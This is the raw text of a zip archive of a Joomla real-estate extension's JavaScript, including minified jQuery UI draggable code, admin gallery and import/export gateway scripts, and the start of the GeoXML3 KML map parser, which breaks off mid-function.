t=this;t.isOver?(t.isOver=0,s.cancelHelperRemoval=!0,t.cancelHelperRemoval=!1,t._storedCSS={position:t.placeholder.css("position"),top:t.placeholder.css("top"),left:t.placeholder.css("left")},t._mouseStop(e),t.options.helper=t.options._helper):(t.cancelHelperRemoval=!0,t._trigger("deactivate",e,n))})},drag:function(e,i,s){t.each(s.sortables,function(){var
n=!1,o=this;o.positionAbs=s.positionAbs,o.helperProportions=s.helperProportions,o.offset.click=s.offset.click,o._intersectsWith(o.containerCache)&&(n=!0,t.each(s.sortables,function(){return
this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==o&&this._intersectsWith(this.containerCache)&&t.contains(o.element[0],this.element[0])&&(n=!1),n})),n?(o.isOver||(o.isOver=1,s._parent=i.helper.parent(),o.currentItem=i.helper.appendTo(o.element).data("ui-sortable-item",!0),o.options._helper=o.options.helper,o.options.helper=function(){return
i.helper[0]},e.target=o.currentItem[0],o._mouseCapture(e,!0),o._mouseStart(e,!0,!0),o.offset.click.top=s.offset.click.top,o.offset.click.left=s.offset.click.left,o.offset.parent.left-=s.offset.parent.left-o.offset.parent.left,o.offset.parent.top-=s.offset.parent.top-o.offset.parent.top,s._trigger("toSortable",e),s.dropped=o.element,t.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,o.fromOutside=s),o.currentItem&&(o._mouseDrag(e),i.position=o.position)):o.isOver&&(o.isOver=0,o.cancelHelperRemoval=!0,o.options._revert=o.options.revert,o.options.revert=!1,o._trigger("out",e,o._uiHash(o)),o._mouseStop(e,!0),o.options.revert=o.options._revert,o.options.helper=o.options._helper,o.placeholder&&o.placeholder.remove(),i.helper.appendTo(s._parent),s._refreshOffsets(e),i.position=s._generatePosition(e,!0),s._trigger("fromSortable",e),s.dropped=!1,t.each(s.sortables,function(){this.refreshPositions()}))})}}),t.ui.plugin.add("draggable","cursor",{start:function(e,i,s){var
n=t("body"),o=s.options;n.css("cursor")&&(o._cursor=n.css("cursor")),n.css("cursor",o.cursor)},stop:function(e,i,s){var
n=s.options;n._cursor&&t("body").css("cursor",n._cursor)}}),t.ui.plugin.add("draggable","opacity",{start:function(e,i,s){var
n=t(i.helper),o=s.options;n.css("opacity")&&(o._opacity=n.css("opacity")),n.css("opacity",o.opacity)},stop:function(e,i,s){var
n=s.options;n._opacity&&t(i.helper).css("opacity",n._opacity)}}),t.ui.plugin.add("draggable","scroll",{start:function(t,e,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(e,i,s){var
n=s.options,o=!1,a=s.scrollParentNotHidden[0],r=s.document[0];a!==r&&"HTML"!==a.tagName?(n.axis&&"x"===n.axis||(s.overflowOffset.top+a.offsetHeight-e.pageY<n.scrollSensitivity?a.scrollTop=o=a.scrollTop+n.scrollSpeed:e.pageY-s.overflowOffset.top<n.scrollSensitivity&&(a.scrollTop=o=a.scrollTop-n.scrollSpeed)),n.axis&&"y"===n.axis||(s.overflowOffset.left+a.offsetWidth-e.pageX<n.scrollSensitivity?a.scrollLeft=o=a.scrollLeft+n.scrollSpeed:e.pageX-s.overflowOffset.left<n.scrollSensitivity&&(a.scrollLeft=o=a.scrollLeft-n.scrollSpeed))):(n.axis&&"x"===n.axis||(e.pageY-t(r).scrollTop()<n.scrollSensitivity?o=t(r).scrollTop(t(r).scrollTop()-n.scrollSpeed):t(window).height()-(e.pageY-t(r).scrollTop())<n.scrollSensitivity&&(o=t(r).scrollTop(t(r).scrollTop()+n.scrollSpeed))),n.axis&&"y"===n.axis||(e.pageX-t(r).scrollLeft()<n.scrollSensitivity?o=t(r).scrollLeft(t(r).scrollLeft()-n.scrollSpeed):t(window).width()-(e.pageX-t(r).scrollLeft())<n.scrollSensitivity&&(o=t(r).scrollLeft(t(r).scrollLeft()+n.scrollSpeed)))),o!==!1&&t.ui.ddmanager&&!n.dropBehaviour&&t.ui.ddmanager.prepareOffsets(s,e)}}),t.ui.plugin.add("draggable","snap",{start:function(e,i,s){var
n=s.options;s.snapElements=[],t(n.snap.constructor!==String?n.snap.items||":data(ui-draggable)":n.snap).each(function(){var
e=t(this),i=e.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:e.outerWidth(),height:e.outerHeight(),top:i.top,left:i.left})})},drag:function(e,i,s){var
n,o,a,r,h,l,c,u,d,p,f=s.options,m=f.snapTolerance,g=i.offset.left,v=g+s.helperProportions.width,_=i.offset.top,b=_+s.helperProportions.height;for(d=s.snapElements.length-1;d>=0;d--)h=s.snapElements[d].left-s.margins.left,l=h+s.snapElements[d].width,c=s.snapElements[d].top-s.margins.top,u=c+s.snapElements[d].height,h-m>v||g>l+m||c-m>b||_>u+m||!t.contains(s.snapElements[d].item.ownerDocument,s.snapElements[d].item)?(s.snapElements[d].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=!1):("inner"!==f.snapMode&&(n=m>=Math.abs(c-b),o=m>=Math.abs(u-_),a=m>=Math.abs(h-v),r=m>=Math.abs(l-g),n&&(i.position.top=s._convertPositionTo("relative",{top:c-s.helperProportions.height,left:0}).top),o&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),a&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l}).left)),p=n||o||a||r,"outer"!==f.snapMode&&(n=m>=Math.abs(c-_),o=m>=Math.abs(u-b),a=m>=Math.abs(h-g),r=m>=Math.abs(l-v),n&&(i.position.top=s._convertPositionTo("relative",{top:c,left:0}).top),o&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),a&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[d].snapping&&(n||o||a||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=n||o||a||r||p)}}),t.ui.plugin.add("draggable","stack",{start:function(e,i,s){var
n,o=s.options,a=t.makeArray(t(o.stack)).sort(function(e,i){return(parseInt(t(e).css("zIndex"),10)||0)-(parseInt(t(i).css("zIndex"),10)||0)});a.length&&(n=parseInt(t(a[0]).css("zIndex"),10)||0,t(a).each(function(e){t(this).css("zIndex",n+e)}),this.css("zIndex",n+a.length))}}),t.ui.plugin.add("draggable","zIndex",{start:function(e,i,s){var
n=t(i.helper),o=s.options;n.css("zIndex")&&(o._zIndex=n.css("zIndex")),n.css("zIndex",o.zIndex)},stop:function(e,i,s){var
n=s.options;n._zIndex&&t(i.helper).css("zIndex",n._zIndex)}}),t.ui.draggable});PK2��[>����js/admin/gallery.jsnu�[���/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate
* agency
*
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU/GPL, see LICENSE.txt
*/
window.addEvent('domready', function() {
var sortOptions = {
transition: Fx.Transitions.Back.easeInOut,
duration: 700,
mode: 'vertical',
onComplete: function() {
mySort.rearrangeDOM()
}
};
var mySort = new Fx.Sort($$('ul.gallery li'), sortOptions);
$$('a.delete-img').each(function(item) {
item.addEvent('click', function() {
this.getParent('li').destroy();
mySort = new Fx.Sort($$('ul.gallery li'), sortOptions);
});
});
$$('a.img-move-up').each(function(item) {
item.addEvent('click', function() {
var activeLi = this.getParent('li');
if (activeLi.getPrevious()) {
mySort.swap(activeLi, activeLi.getPrevious());
} else if (this.getParent('ul').getChildren().length > 1 )
{
// Swap with the last element
mySort.swap(activeLi,
this.getParent('ul').getLast('li'));
}
});
});
$$('a.img-move-down').each(function(item) {
item.addEvent('click', function() {
var activeLi = this.getParent('li');
if (activeLi.getNext()) {
mySort.swap(activeLi, activeLi.getNext());
} else if (this.getParent('ul').getChildren().length > 1 )
{
// Swap with the first element
mySort.swap(activeLi,
this.getParent('ul').getFirst('li'));
}
});
});
});
PK2��[�$�f��js/admin/gateway.jsnu�[���/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate
* agency
*
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU/GPL, see LICENSE.txt
*/
var JeaGateway = {
startExport : function (gatewayId, gatewayTitle, webConsole) {
var requestParams = {
option: 'com_jea',
format: 'json',
task: 'gateway.export',
id: gatewayId
}
var startMessage =
Joomla.JText._('COM_JEA_EXPORT_START_MESSAGE').replace('%s',
gatewayTitle)
var startLine = webConsole.appendLine({text: startMessage})
jQuery.getJSON( "index.php", requestParams)
.done(function( json ) {
if (json.error) {
jQuery(startLine).addClass('error');
jQuery(startLine).text('> ' + json.error);
return;
}
var endMessage = Joomla.JText._('COM_JEA_EXPORT_END_MESSAGE')
.replace('%s', gatewayTitle)
.replace('%d', json.exported_properties)
if (json.ftp_sent) {
endMessage += ' ' +
Joomla.JText._('COM_JEA_GATEWAY_FTP_TRANSFERT_SUCCESS')
}
endMessage += ' <a href="' + json.zip_url
+'">' +
Joomla.JText._('COM_JEA_GATEWAY_DOWNLOAD_ZIP') +
'</a>'
jQuery(startLine).html('> ' + endMessage)
jQuery(document).trigger('gatewayActionDone');
})
.fail(function( jqxhr, textStatus, error ) {
var err = textStatus + ", " + error
jQuery(line).addClass('error');
jQuery(line).text('> ' + "Request Failed: " +
err)
});
},
startImport : function(gatewayId, gatewayTitle, webConsole) {
var startMessage =
Joomla.JText._('COM_JEA_IMPORT_START_MESSAGE').replace('%s',
gatewayTitle)
var startLine = webConsole.appendLine({text: startMessage})
var progressbar = webConsole.addProgressBar('import_bar_' +
gatewayId);
webConsole.addPlaceHolder('properties_found_' + gatewayId);
webConsole.addPlaceHolder('properties_updated_' + gatewayId);
webConsole.addPlaceHolder('properties_created_' + gatewayId);
webConsole.addPlaceHolder('properties_removed_' + gatewayId);
JeaGateway.importRequest(gatewayId, gatewayTitle, startLine, webConsole);
},
importRequest : function(gatewayId, gatewayTitle, startLine, webConsole) {
var requestParams = {
option: 'com_jea',
format: 'json',
task: 'gateway.import',
id: gatewayId
}
jQuery.getJSON( "index.php", requestParams)
.done(function(response) {
if (response.error) {
jQuery(startLine).addClass('error');
jQuery(startLine).text('> ' + response.error);
return;
}
if (response.total == 0) {
jQuery(startLine).text('> ' + 'Aucun bien à
importer.');
return;
}
var progressbar = webConsole.getProgressBar('import_bar_'+
gatewayId);
if (progressbar.step == 0) {
webConsole.getPlaceHolder('properties_found_' +
gatewayId).empty().html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_FOUND').replace('%s',
response.total));
progressbar.options.steps = response.total;
}
webConsole.getPlaceHolder('properties_updated_' +
gatewayId).empty()
.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_UPDATED').replace('%s',
response.updated));
webConsole.getPlaceHolder('properties_created_' +
gatewayId).empty()
.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_CREATED').replace('%s',
response.created));
webConsole.getPlaceHolder('properties_removed_' +
gatewayId).empty()
.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_DELETED').replace('%s',
response.removed));
progressbar.setStep(response.imported);
if (response.total == response.imported) {
var endMessage =
Joomla.JText._('COM_JEA_IMPORT_END_MESSAGE').replace('%s',
gatewayTitle)
jQuery(startLine).html('> ' + endMessage)
jQuery(document).trigger('gatewayActionDone')
return;
}
// Recursive
JeaGateway.importRequest(gatewayId, gatewayTitle, startLine,
webConsole)
})
.fail(function( jqxhr, textStatus, error ) {
var err = textStatus + ", " + error
jQuery(startLine).addClass('error');
jQuery(startLine).text('> ' + "Request Failed: "
+ err)
});
}
}
PK2��[�pXQ�8�8
js/geoxml3.jsnu�[���/**
* @fileOverview Renders KML on the Google Maps JavaScript API Version 3
* @name GeoXML3
* @author Sterling Udell, Larry Ross, Brendan Byrd
* @see http://code.google.com/p/geoxml3/
*
* geoxml3.js
*
* Renders KML on the Google Maps JavaScript API Version 3
* http://code.google.com/p/geoxml3/
*
* Copyright 2010 Sterling Udell, Larry Ross
*
* Licensed under the Apache License, Version 2.0 (the
"License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS"
BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
/**
* A MultiGeometry object that will allow multiple polylines in a
MultiGeometry
* containing LineStrings to be treated as a single object
*
* @param {MutiGeometryOptions} anonymous object. Available properties:
* map: The map on which to attach the MultiGeometry
* paths: the individual polylines
* polylineOptions: options to use when constructing all the polylines
*
* @constructor
*/
// only if Google Maps API included
if (!!window.google && !! google.maps) {
function MultiGeometry(multiGeometryOptions) {
function createPolyline(polylineOptions, mg) {
var polyline = new google.maps.Polyline(polylineOptions);
google.maps.event.addListener(polyline,'click',
function(evt) { google.maps.event.trigger(mg,'click',evt);});
google.maps.event.addListener(polyline,'dblclick',
function(evt) { google.maps.event.trigger(mg, 'dblclick',
evt);});
google.maps.event.addListener(polyline,'mousedown',
function(evt) { google.maps.event.trigger(mg, 'mousedown',
evt);});
google.maps.event.addListener(polyline,'mousemove',
function(evt) { google.maps.event.trigger(mg, 'mousemove',
evt);});
google.maps.event.addListener(polyline,'mouseout',
function(evt) { google.maps.event.trigger(mg, 'mouseout',
evt);});
google.maps.event.addListener(polyline,'mouseover',
function(evt) { google.maps.event.trigger(mg, 'mouseover',
evt);});
google.maps.event.addListener(polyline,'mouseup',
function(evt) { google.maps.event.trigger(mg, 'mouseup', evt);});
google.maps.event.addListener(polyline,'rightclick',
function(evt) { google.maps.event.trigger(mg, 'rightclick',
evt);});
return polyline;
}
this.setValues(multiGeometryOptions);
this.polylines = [];
for (i=0; i<this.paths.length;i++) {
var polylineOptions = multiGeometryOptions;
polylineOptions.path = this.paths[i];
var polyline = createPolyline(polylineOptions,this);
// Bind the polyline properties to the MultiGeometry properties
this.polylines.push(polyline);
}
}
MultiGeometry.prototype = new google.maps.MVCObject();
MultiGeometry.prototype.changed = function(key) {
// alert(key+" changed");
if (this.polylines) {
for (var i=0; i<this.polylines.length; i++) {
this.polylines[i].set(key,this.get(key));
}
}
};
MultiGeometry.prototype.setMap = function(map) {
this.set('map',map); };
MultiGeometry.prototype.getMap = function() { return
this.get('map'); };
}
// Extend the global String object with a method to remove leading and
trailing whitespace
if (!String.prototype.trim) {
/**
* Remove leading and trailing whitespace.
*
* @augments String
* @return {String}
*/
String.prototype.trim = function () {
return this.replace(/^\s+|\s+$/g, '');
};
}
/**
* @namespace The GeoXML3 namespace.
*/
geoXML3 = window.geoXML3 || {instances: []};
/**
* Constructor for the root KML parser object.
*
* <p>All top-level objects and functions are declared under a
namespace of geoXML3.
* The core object is geoXML3.parser; typically, you'll instantiate a
one parser
* per map.</p>
*
* @class Main XML parser.
* @param {geoXML3.parserOptions} options
*/
geoXML3.parser = function (options) {
// Inherit from Google MVC Object to include event handling
google.maps.MVCObject.call(this);
// Private variables
var parserOptions = new geoXML3.parserOptions(options);
var docs = []; // Individual KML documents
var docsByUrl = {}; // Same docs as an hash by cleanURL
var kmzMetaData = {}; // Extra files from KMZ data
var styles = {}; // Global list of styles
var lastPlacemark;
var parserName;
if (!parserOptions.infoWindow && parserOptions.singleInfoWindow)
parserOptions.infoWindow = new google.maps.InfoWindow();
var parseKmlString = function (kmlString, docSet) {
// Internal values for the set of documents as a whole
var internals = {
parser: this,
docSet: docSet || [],
remaining: 1,
parseOnly: !(parserOptions.afterParse || parserOptions.processStyles)
};
thisDoc = new Object();
thisDoc.internals = internals;
internals.docSet.push(thisDoc);
render(geoXML3.xmlParse(kmlString),thisDoc);
}
var parse = function (urls, docSet) {
// Process one or more KML documents
if (!parserName) {
parserName = 'geoXML3.instances[' +
(geoXML3.instances.push(this) - 1) + ']';
}
if (typeof urls === 'string') {
// Single KML document
urls = [urls];
}
// Internal values for the set of documents as a whole
var internals = {
parser: this,
docSet: docSet || [],
remaining: urls.length,
parseOnly: !(parserOptions.afterParse || parserOptions.processStyles)
};
var thisDoc, j;
for (var i = 0; i < urls.length; i++) {
var baseUrl = cleanURL(defileURL(location.pathname), urls[i]);
if (docsByUrl[baseUrl]) {
// Reloading an existing document
thisDoc = docsByUrl[baseUrl];
thisDoc.reload = true;
}
else {
thisDoc = new Object();
thisDoc.baseUrl = baseUrl;
internals.docSet.push(thisDoc);
}
thisDoc.url = urls[i];
thisDoc.internals = internals;
fetchDoc(thisDoc.url, thisDoc);
}
};
function fetchDoc(url, doc, resFunc) {
resFunc = resFunc || function (responseXML) { render(responseXML, doc);
};
if (typeof ZipFile === 'function' && typeof JSIO ===
'object' && typeof JSIO.guessFileType ===
'function') { // KMZ support requires these modules loaded
// if url is a data URI scheme, do not guess type based on extension.
if (/^data:[^,]*(kmz)/.test(doc.baseUrl)) {
contentType = JSIO.FileType.Binary;
} else if (/^data:[^,]*(kml|xml)/.test(doc.baseUrl)) {
contentType = JSIO.FileType.XML;
} else if (/^data:/.test(doc.baseUrl)) {
contentType = JSIO.FileType.Unknown;
} else if (parserOptions.forceZip) {
contentType = JSIO.FileType.Binary;
} else {
contentType = JSIO.guessFileType(doc.baseUrl);
}
if (contentType == JSIO.FileType.Binary || contentType ==
JSIO.FileType.Unknown) {
doc.isCompressed = true;
doc.baseDir = doc.baseUrl + '/';
geoXML3.fetchZIP(url, resFunc, doc.internals.parser);
return;
}
}
doc.isCompressed = false;
doc.baseDir = defileURL(doc.baseUrl);
geoXML3.fetchXML(url, resFunc);
}
var hideDocument = function (doc) {
if (!doc) doc = docs[0];
// Hide the map objects associated with a document
var i;
if (!!doc.markers) {
for (i = 0; i < doc.markers.length; i++) {
if(!!doc.markers[i].infoWindow) doc.markers[i].infoWindow.close();
doc.markers[i].setVisible(false);
}
}
if (!!doc.ggroundoverlays) {
for (i = 0; i < doc.ggroundoverlays.length; i++) {
doc.ggroundoverlays[i].setOpacity(0);
}
}
if (!!doc.gpolylines) {
for (i=0;i<doc.gpolylines.length;i++) {
if(!!doc.gpolylines[i].infoWindow)
doc.gpolylines[i].infoWindow.close();
doc.gpolylines[i].setMap(null);
}
}
if (!!doc.gpolygons) {
for (i=0;i<doc.gpolygons.length;i++) {
if(!!doc.gpolygons[i].infoWindow)
doc.gpolygons[i].infoWindow.close();
doc.gpolygons[i].setMap(null);
}
}
};
var showDocument = function (doc) {
if (!doc) doc = docs[0];
// Show the map objects associated with a document
var i;
if (!!doc.markers) {
for (i = 0; i < doc.markers.length; i++) {
doc.markers[i].setVisible(true);
}
}
if (!!doc.ggroundoverlays) {
for (i = 0; i < doc.ggroundoverlays.length; i++) {
doc.ggroundoverlays[i].setOpacity(doc.ggroundoverlays[i].percentOpacity_);
}
}
if (!!doc.gpolylines) {
for (i=0;i<doc.gpolylines.length;i++) {
doc.gpolylines[i].setMap(parserOptions.map);
}
}
if (!!doc.gpolygons) {
for (i=0;i<doc.gpolygons.length;i++) {
doc.gpolygons[i].setMap(parserOptions.map);
}
}
};
var defaultStyle = {
balloon: {
bgColor: 'ffffffff',
textColor: 'ff000000',
text:
"<h3>$[name]</h3>\n<div>$[description]</div>\n<div>$[geDirections]</div>",
displayMode: 'default'
},
icon: {
scale: 1.0,
dim: {
x: 0,
y: 0,
w: -1,
h: -1
},
hotSpot: {
x: 0.5,
y: 0.5,
xunits: 'fraction',
yunits: 'fraction'
}
},
line: {
color: 'ffffffff', // white (KML default)
colorMode: 'normal',
width: 1.0
},
poly: {
color: 'ffffffff', // white (KML default)
colorMode: 'normal',
fill: true,
outline: true
}
};
var kmlNS = 'http://www.opengis.net/kml/2.2';
var gxNS = 'http://www.google.com/kml/ext/2.2';
var nodeValue = geoXML3.nodeValue;
var getBooleanValue = geoXML3.getBooleanValue;
var getElementsByTagNameNS = geoXML3.getElementsByTagNameNS;
var getElementsByTagName = geoXML3.getElementsByTagName;
function processStyleUrl(node) {
var styleUrlStr = nodeValue(getElementsByTagName(node,
'styleUrl')[0]);
if (!!styleUrlStr && styleUrlStr.indexOf('#') != -1)
var styleUrl = styleUrlStr.split('#');
else var styleUrl = ["",""];
return styleUrl;
}
function processStyle(thisNode, baseUrl, styleID, baseDir) {
var style = (baseUrl === '{inline}') ? clone(defaultStyle) :
(styles[baseUrl][styleID] = styles[baseUrl][styleID] ||
clone(defaultStyle));
var styleNodes = getElementsByTagName(thisNode,
'BalloonStyle');
if (!!styleNodes && styleNodes.length > 0) {
style.balloon.bgColor =
nodeValue(getElementsByTagName(styleNodes[0], 'bgColor')[0],
style.balloon.bgColor);
style.balloon.textColor =
nodeValue(getElementsByTagName(styleNodes[0], 'textColor')[0],
style.balloon.textColor);
style.balloon.text =
nodeValue(getElementsByTagName(styleNodes[0], 'text')[0],
style.balloon.text);
style.balloon.displayMode =
nodeValue(getElementsByTagName(styleNodes[0], 'displayMode')[0],
style.balloon.displayMode);
}
// style.list = (unsupported; doesn't make sense in Google Maps)
var styleNodes = getElementsByTagName(thisNode, 'IconStyle');
if (!!styleNodes && styleNodes.length > 0) {
var icon = style.icon;
icon.scale = parseFloat(nodeValue(getElementsByTagName(styleNodes[0],
'scale')[0], icon.scale));
// style.icon.heading = (unsupported; not supported in API)
// style.icon.color = (unsupported; not supported in API)
// style.icon.colorMode = (unsupported; not supported in API)
styleNodes = getElementsByTagName(styleNodes[0],
'hotSpot');
if (!!styleNodes && styleNodes.length > 0) {
icon.hotSpot = {
x: styleNodes[0].getAttribute('x'),
y: styleNodes[0].getAttribute('y'),
xunits: styleNodes[0].getAttribute('xunits'),
yunits: styleNodes[0].getAttribute('yunits')
};
}
styleNodes = getElementsByTagName(thisNode, 'Icon');
if (!!styleNodes && styleNodes.length > 0) {
icon.href = nodeValue(getElementsByTagName(styleNodes[0],
'href')[0]);
icon.url = cleanURL(baseDir, icon.href);
// Detect images buried in KMZ files (and use a base64 encoded URL)
if (kmzMetaData[icon.url]) icon.url =
kmzMetaData[icon.url].dataUrl;
// Support for icon palettes and exact size dimensions
icon.dim = {
x: parseInt(nodeValue(getElementsByTagNameNS(styleNodes[0], gxNS,
'x')[0], icon.dim.x)),
y: parseInt(nodeValue(getElementsByTagNameNS(styleNodes[0], gxNS,
'y')[0], icon.dim.y)),
w: parseInt(nodeValue(getElementsByTagNameNS(styleNodes[0], gxNS,
'w')[0], icon.dim.w)),
h: parseInt(nodeValue(getElementsByTagNameNS(styleNodes[0], gxNS,
'h')[0], icon.dim.h))
};
// certain occasions where we need the pixel size of the image
(like the default settings...)
// (NOTE: Scale is applied to entire image, not just the section of
the icon palette. So,
// if we need scaling, we'll need the img dimensions no
matter what.)
if (true /* (icon.dim.w < 0 || icon.dim.h < 0) &&
(icon.xunits != 'pixels' || icon.yunits == 'fraction')
|| icon.scale != 1.0 */) {
// (hopefully, this will load by the time we need it...)
icon.img = new Image();
icon.img.onload = function() {
if (icon.dim.w < 0 || icon.dim.h < 0) {
icon.dim.w = this.width;
icon.dim.h = this.height;
} else {
icon.dim.th = this.height;
}
};
icon.img.src = icon.url;
// sometimes the file is already cached and it never calls onLoad
if (icon.img.width > 0) {
if (icon.dim.w < 0 || icon.dim.h < 0) {
icon.dim.w = icon.img.width;
icon.dim.h = icon.img.height;
} else {
icon.dim.th = icon.img.height;
}
}
}
}
}
// style.label = (unsupported; may be possible but not with API)
styleNodes = getElementsByTagName(thisNode, 'LineStyle');
if (!!styleNodes && styleNodes.length > 0) {
style.line.color = nodeValue(getElementsByTagName(styleNodes[0],
'color')[0], style.line.color);
style.line.colorMode = nodeValue(getElementsByTagName(styleNodes[0],
'colorMode')[0], style.line.colorMode);
style.line.width = nodeValue(getElementsByTagName(styleNodes[0],
'width')[0], style.line.width);
// style.line.outerColor = (unsupported; not supported in API)
// style.line.outerWidth = (unsupported; not supported in API)
// style.line.physicalWidth = (unsupported; unneccesary in Google
Maps)
// style.line.labelVisibility = (unsupported; possible to implement)
}
styleNodes = getElementsByTagName(thisNode, 'PolyStyle');
if (!!styleNodes && styleNodes.length > 0) {
style.poly.color = nodeValue(
getElementsByTagName(styleNodes[0], 'color')[0],
style.poly.color);
style.poly.colorMode = nodeValue(
getElementsByTagName(styleNodes[0], 'colorMode')[0],
style.poly.colorMode);
style.poly.outline =
getBooleanValue(getElementsByTagName(styleNodes[0],
'outline')[0], style.poly.outline);
style.poly.fill =
getBooleanValue(getElementsByTagName(styleNodes[0], 'fill')[0],
style.poly.fill);
}
return style;
}
// from
http://stackoverflow.com/questions/122102/what-is-the-most-efficient-way-to-clone-a-javascript-object
// http://keithdevens.com/weblog/archive/2007/Jun/07/javascript.clone
function clone(obj){
if(obj == null || typeof(obj) != 'object') return obj;
if (obj.cloneNode) return obj.cloneNode(true);
var temp = new obj.constructor();
for(var key in obj) temp[key] = clone(obj[key]);
return temp;
}
function processStyleMap(thisNode, baseUrl, styleID, baseDir) {
var pairs = getElementsByTagName(thisNode, 'Pair');
var map = new Object();
// add each key to the map
for (var pr=0;pr<pairs.length;pr++) {
var pairKey = nodeValue(getElementsByTagName(pairs[pr],
'key')[0]);
var pairStyle = nodeValue(getElementsByTagName(pairs[pr],
'Style')[0]);
var pairStyleUrl = processStyleUrl(pairs[pr]);
var pairStyleBaseUrl = pairStyleUrl[0] ? cleanURL(baseDir,
pairStyleUrl[0]) : baseUrl;
var pairStyleID = pairStyleUrl[1];
if (!!pairStyle) {
map[pairKey] = processStyle(pairStyle, pairStyleBaseUrl,
pairStyleID);
} else if (!!pairStyleID &&
!!styles[pairStyleBaseUrl][pairStyleID]) {
map[pairKey] = clone(styles[pairStyleBaseUrl][pairStyleID]);
}
}
if (!!map["normal"]) {
styles[baseUrl][styleID] = clone(map["normal"]);
} else {
styles[baseUrl][styleID] = clone(defaultStyle);
}
if (!!map["highlight"] &&
!!parserOptions.processStyles) {
processStyleID(map["highlight"]);
}
styles[baseUrl][styleID].map = clone(map);
}
function processPlacemarkCoords(node, tag) {
var parent = getElementsByTagName(node, tag);
var coordListA = [];
for (var i=0; i<parent.length; i++) {
var coordNodes = getElementsByTagName(parent[i],
'coordinates');
if (!coordNodes) {
if (coordListA.length > 0) {
break;
} else {
return [{coordinates: []}];
}
}
for (var j=0; j<coordNodes.length;j++) {
var coords = nodeValue(coordNodes[j]).trim();
coords = coords.replace(/,\s+/g, ',');
var path = coords.split(/\s+/g);
var pathLength = path.length;
var coordList = [];
for (var k = 0; k < pathLength; k++) {
coords = path[k].split(',');
if (!isNaN(coords[0]) && !isNaN(coords[1])) {
coordList.push({
lat: parseFloat(coords[1]),
lng: parseFloat(coords[0]),
alt: parseFloat(coords[2])
});
}
}
coordListA.push({coordinates: coordList});
}
}
return coordListA;
}
var render = function (responseXML, doc) {
// Callback for retrieving a KML document: parse the KML and display it
on the map
if (!responseXML || responseXML == "failed parse") {
// Error retrieving the data
geoXML3.log('Unable to retrieve ' + doc.url);
if (parserOptions.failedParse) parserOptions.failedParse(doc);
doc.failed = true;
return;
} else if (responseXML.parseError &&
responseXML.parseError.errorCode != 0) {
// IE parse error
var err = responseXML.parseError;
var msg = 'Parse error in line ' + err.line + ', col
' + err.linePos + ' (error code: ' + err.errorCode +
")\n" +
"\nError Reason: " + err.reason +
'Error Line: ' + err.srcText;
geoXML3.log('Unable to retrieve ' + doc.url + ':
' + msg);
if (parserOptions.failedParse) parserOptions.failedParse(doc);
doc.failed = true;
return;
} else if (responseXML.documentElement &&
responseXML.documentElement.nodeName == 'parsererror') {
// Firefox parse error
geoXML3.log('Unable to retrieve ' + doc.url + ':
' + responseXML.documentElement.childNodes[0].nodeValue);
if (parserOptions.failedParse) parserOptions.failedParse(doc);
doc.failed = true;
return;
} else if (!doc) {
throw 'geoXML3 internal error: render called with null
document';
} else { //no errors
var i;
doc.placemarks = [];
doc.groundoverlays = [];
doc.ggroundoverlays = [];
doc.networkLinks = [];
doc.gpolygons = [];
doc.gpolylines = [];
// Check for dependent KML files
var nodes = getElementsByTagName(responseXML, 'styleUrl');
var docSet = doc.internals.docSet;
for (var i = 0; i < nodes.length; i++) {
var url = nodeValue(nodes[i]).split('#')[0];
if (!url) continue; // #id (inside doc)
var rUrl = cleanURL( doc.baseDir, url );
if (rUrl === doc.baseUrl) continue; // self
if (docsByUrl[rUrl]) continue; // already loaded
var thisDoc;
var j = docSet.indexOfObjWithItem('baseUrl', rUrl);
if (j != -1) {
// Already listed to be loaded, but probably in the wrong order.
// Load it right away to immediately resolve dependency.
thisDoc = docSet[j];
if (thisDoc.failed) continue; // failed to load last time;
don't retry it again
}
else {
// Not listed at all; add it in
thisDoc = new Object();
thisDoc.url = rUrl; // url can't be trusted inside
KMZ files, since it may .. outside of the archive
thisDoc.baseUrl = rUrl;
thisDoc.internals = doc.internals;
doc.internals.docSet.push(thisDoc);
doc.internals.remaining++;
}
// render dependent KML first then re-run renderer
fetchDoc(rUrl, thisDoc, function (thisResXML) {
render(thisResXML, thisDoc);
render(responseXML, doc);
});
// to prevent cross-dependency issues, just load the one
// file first and re-check the rest later
return;
}
// Parse styles
doc.styles = styles[doc.baseUrl] = styles[doc.baseUrl] || {};
var styleID, styleNodes;
nodes = getElementsByTagName(responseXML, 'Style');
nodeCount = nodes.length;
for (i = 0; i < nodeCount; i++) {
thisNode = nodes[i];
var styleID = thisNode.getAttribute('id');
if (!!styleID) processStyle(thisNode, doc.baseUrl, styleID,
